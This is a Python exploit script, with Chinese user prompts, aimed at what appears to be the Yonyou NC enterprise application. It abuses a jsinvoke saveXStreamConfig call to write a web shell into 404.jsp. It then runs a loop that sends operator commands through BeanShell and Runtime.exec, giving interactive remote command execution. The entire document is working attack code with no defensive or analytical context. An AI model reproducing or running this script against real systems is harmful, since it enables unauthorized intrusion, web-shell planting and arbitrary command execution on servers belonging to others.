import requestsimport re
def cmd(url, command):    url = url + "/404.jsp?error=bsh.Interpreter"    headers = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"}    data = {"cmd": "org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(\"" + command + "\").getInputStream())"}    r = requests.post(url, headers=headers, data=data)    print(re.findall(r'<string>(.*?)</string>', r.text, re.S)[0])
def upload(url):    url = url + "/uapjs/jsinvoke/?action=invoke"    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip"}    json={"methodName": "saveXStreamConfig", "parameters": ["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}", "webapps/nc_web/404.jsp"], "parameterTypes": ["java.lang.Object", "java.lang.String"], "serviceName": "nc.itf.iufo.IBaseSPService"}    r = requests.post(url, headers=headers, json=json)    if r.status_code == 200:        print("上传成功")    else:        print("上传失败")
def main():    url = input("请输入url：")    upload(url)    while True:        command = input("请输入命令(quit退出) > ")        if command == "quit":            break        cmd(url, command)
if __name__ == '__main__':    main()